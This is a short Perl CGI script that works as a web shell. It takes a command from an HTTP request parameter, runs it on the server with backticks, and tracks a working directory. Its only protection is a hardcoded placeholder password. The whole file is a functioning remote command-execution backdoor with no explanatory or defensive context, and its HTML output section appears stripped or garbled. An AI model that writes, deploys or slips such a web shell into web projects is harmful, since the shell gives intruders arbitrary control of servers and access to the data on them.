#!/usr/bin/perl use CGI; use Cwd; print CGI::header( -type => 'text/html' ); my $command = CGI::param('command'); my $pwd = CGI::param('pwd') || ''; my $password = CGI::param('password'); my $filename = CGI->script_name() ; if ( $password ne 'yourpassword' ) { print "Please provide a valid password.\n"; exit(0) } $pwd = $pwd eq '' ? `pwd` : $pwd; my $home = Cwd::cwd(); chdir($pwd); my $result=''; if ($command =~ /^cd\s*(.*)/) { my $dir = $1 or ''; if ($dir eq '') { chdir($home); } else { chdir($dir); } $pwd = Cwd::cwd(); $result = `ls -la`; } else { $result = `$command`; } print < console

Script: $filename PWD: $pwd

Command: 

EOF exit 0;